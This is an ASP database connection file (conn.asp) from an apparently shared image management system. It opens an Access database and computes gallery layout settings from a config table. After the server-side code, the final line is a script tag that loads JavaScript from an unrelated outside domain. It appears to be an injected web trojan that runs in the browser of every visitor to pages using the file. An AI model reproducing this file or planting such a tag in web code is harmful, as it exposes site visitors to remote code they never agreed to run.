conn.asp

来自「一款有用的图片管理系统」· ASP 代码 · 共 46 行

<%
dim conn
dim connstr,datafile
datafile="../db/#artloolong.mdb"
on error resume next
connstr="DBQ="+server.mappath(datafile)+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr

sql5="select * from config"
set rs5=conn.execute(sql5)
ShowCount=split(rs5("ShowCount"),",")
if cint(ShowCount(1))=1 then
	recRow=2
	recHeight=(cint(ShowCount(0))/2)*160+40
else
	recRow=4
	recHeight=(cint(ShowCount(0))/4)*160+40
end if
if cint(ShowCount(3))=1 then
	hotRow=2
	hotHeight=(cint(ShowCount(2))/2)*160+40
else
	hotRow=4
	hotHeight=(cint(ShowCount(2))/4)*160+40
end if
if cint(ShowCount(5))=1 then
	newRow=2
	newHeight=(cint(ShowCount(4))/2)*160+40
else
	newRow=4
	newHeight=(cint(ShowCount(4))/4)*160+40
end if


Sub rsclose()
    rs.close()
	set rs=nothing
End Sub
Sub ConnClose()
    conn.close()
	set conn=nothing
End Sub
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>